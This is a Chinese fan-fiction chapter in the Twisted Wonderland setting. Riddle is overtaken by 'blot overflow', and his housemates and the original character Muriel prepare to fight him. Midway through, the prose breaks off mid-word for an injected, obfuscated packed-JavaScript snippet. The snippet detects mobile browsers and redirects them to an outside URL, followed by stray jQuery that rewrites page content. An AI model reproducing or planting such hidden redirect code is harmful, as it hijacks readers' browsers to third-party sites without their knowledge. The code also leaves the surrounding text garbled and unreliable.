Muriel和Trey的出现无法使Riddle镇静下来。
不如说,在看清阻拦自己的是谁、而站在自己对立面的又是谁之后,Heartslabyul寮长出离地愤怒了。
Trey的魔法将他的魔法覆写了,他调动魔力却只有扑克牌不断飞出来;Trey恳求他停手,意思是说Trey的魔法比他更优秀?
Trey……Trey旁边,还站着面色冷淡的Muriel。
Muriel身上的标准制服已无缝转换成Octavinelle的寮服,雅致稳妥的着装稍稍柔化了他冷峻的面部线条,灰色的长围巾,和灰蓝色的长发被风吹拂着,一齐向少年身后飘去。
“啊、啊啊……Muriel、Muriel……Muriel·Aegir!”
从混乱的呓语变为低哑的咆哮,红发少年表情控制不住扭曲,眼神狞恶,他双手抓着自己的脸颊,仿佛要从上面扯掉什么、撕烂什么。
母亲的教诲成为他的人生信条,自然到不需要任何考虑就能说出来。可是,可是被那个什么都不懂新生反驳——以那样粗鲁的、无礼的方式!
“就连你——你也认为是我的错?”
Riddle·Rosehearts耳边还响着聒噪的尖叫和哀嚎,他的内心不可抑制地沸腾起来,躯体震荡着,似乎麻痹了,心绪还在记忆中徘徊——
Muriel,Muriel说。
【我是被塔拉萨老妈捡回家的,她不会魔法,担心我长歪变成滥用魔法的坏小子,就考了青少年心理沟通师的证书……】
【不同种类的人鱼交流确实有壁,其中的差别比大家想象得还要大得多。为了能够“理解”我,塔拉萨老妈一直很辛苦。】
【她管束我的时候,我觉得她超级可怕,凶狠又从容,我在她手上简直毫无还手之力——】
【分享这个也没有别的意思,Riddle,我只是感觉到你能理解我。】
【因为,你的母亲在你的生命中也占据了很重要的部分吧。】
【……】
Muriel……
你不应该……站在我这一边吗?
学园长也好,Trey也好,为什么要用痛心的眼神看着他?
寮生们的脸,模糊不清了,可恐惧与逃避的反应,那样令他不齿!
他明明……是按照规则做的,规则是不可能出错的——
母亲,母亲……规则,是对的吧。
不然的话,他为什么能走到今天呢?
“冤枉啊,Riddle同学。”
Riddle仔细分辨,他听见Muriel笑吟吟的声音。
“在我看来没有对与错之分,Heartslabyul的规矩我也不关心。非要说的话,是你的管理方式引起寮生的不满,而我只是碰巧在这儿。”
“我的管理方式?!你在说什么……?”
Riddle表情动摇,声音沙哑,带上一丝哭腔。
他的身体剧烈颤抖。
“我明明一直努力遵守着严格的规矩!一直、一直忍耐到现在……!如果没有规则、如果不遵守——我是……我是……不会接受的!!”
Riddle几乎声嘶力竭呐喊,声音盖过了Crowley的劝阻、Trey等人担忧的呼唤,也盖过了此时的一切响动。
那道不甘而委屈的咆哮,仿佛要将他的心、他不被他人理解的部分,尽数剖出。
“我……只有我是!!绝对,绝对的正确——!!!!”
“——”
周围一下子变暗了。
而在Riddle身后拖着的影子,则越发漆黑浓郁,电光火石间膨胀开来,化为一道庞大扭曲的身影。
怪诞破碎的裙摆被撑成圆鼓鼓的伞形,头部为装载墨色油状液体的半透明心形容器,那道身影挣扎着从Riddle的影子中脱离,显化的同时便牢牢吸附在Riddle背后,投下的阴影笼罩住身形娇小的少年。
而Riddle本人毫无所觉。他用双手捧住脸颊,墨黑的油状液体从他指尖涌出,贴上面部的皮肤,如同血液般淋漓而下,喉咙中发出类似痛苦的尖啸。
身体似乎因为遭到巨大的冲击而下意识蜷缩——背后的怪物行动了,仿佛Riddle是它手中的棋子。那双巨大的类人手掌钳制住红发少年的脸颊,逼迫他仰头,不容抗拒。
而怪物面部融化般流淌下来的黑泥,顷刻间从头到脚包裹住Riddle。
再然后,猩红裙摆与漆黑影子层层蔓延,裹住少年的身影,将所有的窥探、所有的不满、所有的针对Riddle·Rosehearts的情绪阻挡在外。
险恶而不祥的黑暗气息瞬息爆发,灼眼的光芒闪动,痛苦的惨叫与挣扎过后,变装的某人自阴影现身。
灰白黯淡的皮肤,镂空的半脸纹路,确确实实是Riddle的模样,气质上却更阴冷残酷。被黑暗气场包围的少年身着色块分割整齐、黑红双色的裙装,领口袖口却布着虫蚀般不规则的边沿。
头饰、外颈饰至胸前绕着、扣着铁黑的棘环,皮带交叉固定腰部的黑白染色蔷薇。无穷尽的黑泥拟态成细长带刺的藤蔓,忠诚地托着女王的裙摆。
一切发生得太快太快,当那充满压迫感的怪物与Riddle紧密相连,后者如同一具精致的提线人偶,被心形头、大裙摆的黑影笼罩着,支配着,留在庭院内的所有人都感到一阵窒息。
“我的世界不需要忤逆我的蠢才们——我即是世界的法律,我即是世界的规则!”
疑似Riddle的存在狂笑着,强大的魔力波动一阵阵冲击着四周,“回答只允许是‘遵命,Riddle大人’!敢违逆的家伙们全都人头落地!啊哈哈哈哈——!”
“啊——怎么会发生这种事!”贡献度为零的学园长无助地哀嚎,“明明有我跟着,竟然还会有学生浊墨超量!”
Grim浑身炸毛,跳开两步,盯着前面的异常,表情紧张:“浊墨超量是什么?那家伙突然浑身都是邪恶的气味啊!”
“前两天你们去矿山还打过的,呃,暴走怪物?不过肯定没有现在Riddle的这个猛。”
热心的Muriel接上解释,语速飞快,他掩护一年级生们避开蜿蜒而来的细长阴影。
“浊墨超量是一种对于魔法师来说非常危险的状态,过度释放魔法导致浊墨累积无法消解,魔法师受负面情绪影响,魔力和情绪无法自控,变得狂暴——魔法史第二单元会提及,魔法解析学理论必考题。”
Grim关注点错:“什么?要考?!”
Deuce万分紧张:“非常抱歉!我没听懂!!”
Ace同样语速如风,声音都有些崩溃:“Muriel学长这个时候就别开玩笑了吧!”
Ace的哥哥也是夜鸦的学生,相比起前两位,对于魔法知识Ace稍微知道得多一些。矮人矿山遇到那只“怪物”之后,他也打听到一些消息,对“浊墨”概念有更多了解。
“啊、真是的!”Cater狠狠皱眉,他都不知道Muriel几人是故意耍宝还是怎么,“简单来说就是变成黑化狂战士的状态了!血量流失,攻击力增加,无差别攻击!”
对于魔法师而言,魔力是第二种生命力,与身躯和精神有着密切关联。Trey冷汗狂飙,他凝重道:“如果让Riddle继续魔力暴走,他本人也会有生命危险!”
“如果魔力耗尽前没有恢复意识,Riddle同学会丢掉性命,而更糟糕的情况……”
时间不容耽误,Crowley紧急布置下去,“总之,学生的安全是第一位,其他寮生由我来疏散避难,你们去向别的教师职员和寮长们请求支援——”
不等学园
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387728|200273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长说完,Heartslabyul远近闻名的小悍将Ace·Trappola毅然决然地带着他擅长的风系魔法A了上去,正如他几分钟前朝寮长脸上挥出的一拳那样果决。
更让人惊讶的是,Deuce和Grim不甘落后,紧跟着Ace,有什么魔法都招呼上去了。一时间风火呼啸,大锅哐哐,黑影提着浊墨化的Riddle后撤一截,避开了那些包含心意的攻击,Riddle呵斥:“……你们这些家伙,到底在干什么!”
那样的攻击能否对Riddle造成有效伤害还是个谜,气势倒是挺足。
这边的Cater也傻眼了:“等等等等,你们到底要干嘛?!”
Grim短短的猫爪叉腰,严肃而理直气壮地说:“那家伙就这样放着不管会出大问题的!”
Deuce把拳头捏得嘎巴嘎巴响,模样十分不良,他显然跟Grim共脑了,认可到:“说实话事情变成这样有点过意不去,而且……”
由Ace接上最后的发言,义正辞严:“他还没道歉说‘是我错了,对不起’呢!”
一年级生们热血沸腾的组合技!
“唉,我还是带着学习资料过来的,现在茶话会没蹭上,准备交付的订单也毁掉了。”
两大包纸张哗啦啦散落一地,又被肆虐的劲风撕扯得稀巴烂。Muriel的语气听上去颇为遗憾,但眼神都没有偏移哪怕一点,“现在只能先围殴Riddle,把他打醒,再商量赔偿的事情了。”
Muriel开团秒跟,自他魔法笔顶端迸射的无属性魔法快狠准地对冲怪物当重锤一样砸来的玫瑰树,魔力输出功率和打击效果看得Cater和Trey眼角直跳。
“你们……”其实真的是很想找个理由爽打寮长吧。
Trey有些无语,但他明事理,判断场上的情况,快速说到,“我明白了,短时间的话我的魔法可以覆盖在Riddle的魔法上,这段时间拜托你们攻击了!学园长,请您带着其他寮生避难。”
Crowley极力反对:“你们等等!这很危险!”
“没错,”深知Riddle的魔力水平,浊墨超量状态下的寮长更是危险度爆表的存在,Cater也急了,“Muriel就算了,连Trey都在说些什么话啊,你们不可能打得过Riddle君的!”
而Ace·Trappola还在输出!
他的声音很沉静:“只敢向能赢的家伙挑战,也太没种了吧。”
闻言,Muriel震惊地望向这个一年级生,仿佛现在才真正认识他一样。
他不自觉停下施法,竟然鼓起了掌:“其实我一直都想在这种时候说这么帅气的台词……”
绞尽脑汁还是不如天赋怪,这Ace真是个人物。
连不通魔法的监督生都燃起来了:“事已至此做好觉悟吧!”
Cater扫视一圈,每个人,除了学园长,脸上都是坚毅的表情。一向善于察言观色,敏锐分析的他从他们的眼睛里、面容里,看见了决心。
不免得,Cater也被触动了。
……他也并不总是有见风使舵的时候。
“啊~~可恶!我知道了啦!”似乎在给自己鼓劲,Cater恶狠狠地说,“我本来不是战斗的料子,真的!”
学园长也发出为难但是被感动到的声音:“真是的~~让学生们避难之后我会回来的!在此之前请撑住啊!”
不,这么说的话他们都不太指望Crowley能回来了。
这种团结友爱其乐融融的氛围,让本就混乱狂暴的Riddle大为光火,他阴恻恻地注视着向他发起挑战的众人:“不管是谁都好大的胆子啊……所有人都给我人头落地!”
Riddle背后的怪物随着他高涨的怒火愈发活跃,阴影摇动,沉闷的轰响预示着,狂风骤雨般的攻击,要来了!